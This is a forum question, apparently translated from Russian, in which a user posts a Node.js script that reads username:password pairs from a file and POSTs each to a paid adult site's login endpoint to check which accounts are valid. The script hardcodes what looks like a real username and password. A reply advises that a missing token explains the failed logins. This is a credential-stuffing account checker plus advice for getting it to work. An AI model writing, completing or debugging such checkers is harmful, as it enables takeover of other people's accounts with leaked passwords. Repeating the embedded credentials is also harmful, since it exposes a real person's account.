T
T
theITmonster2021-08-25 17:57:55
Node.js
theITmonster, 2021-08-25 17:57:55

POST request to nodejs?

I need to check accounts in a certain service, but for some reason it always says that the password is wrong. But at the same time, I can easily log in from the site itself using the same data, what could be the problem? Whole code:

const fs = require('fs')
const fetch = require('node-fetch')
let result = []


fs.readFile('assets/pornhub.txt', async function(err, data) {
    if(err) throw err;
    var array = data.toString().split("\r\n");

    function timer(ms) {
        return new Promise(res => setTimeout(res, ms));
    }
       
    async function load () {
        for(i in array) {
            let resp = ''
            let username = array[i].split(':')[0]
            let password = array[i].split(':')[1]

            const body = {
                username: 'kev70907',
                password: 'kc38843884'
            }

            console.log(body)

            console.log(`Проверяю ${username}:${password}`)
    
            await sendRequest(body)
            .then(res => resp = res)
            .catch(err => err)
    
            if(resp.message === 'Неверное имя пользователя или пароль!') {
                console.log('Невалид')
            } else {
                console.log(resp.message)
            }

            return
            await timer(1000)
        }
    }
       
    load();
});

function sendRequest(body) {
    return fetch('https://rt.pornhubpremium.com/front/authenticate', {
        method: 'POST',
        body: JSON.stringify(body),
        headers: {
            'Connection': 'keep-alive',
            'Content-Type': 'application/json'
        }
    }).then(response => {
        return response.json()
    })
}

Answer the question

In order to leave comments, you need to log in

1 answer(s)
B
billy_herington, 2021-08-25
@theITmonster

If you open the inspector and see what happens during authorization, it becomes clear that along with the login and password, you must also transfer the token, you do not transfer it, hence the problems
61265bf8af852573241379.png

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question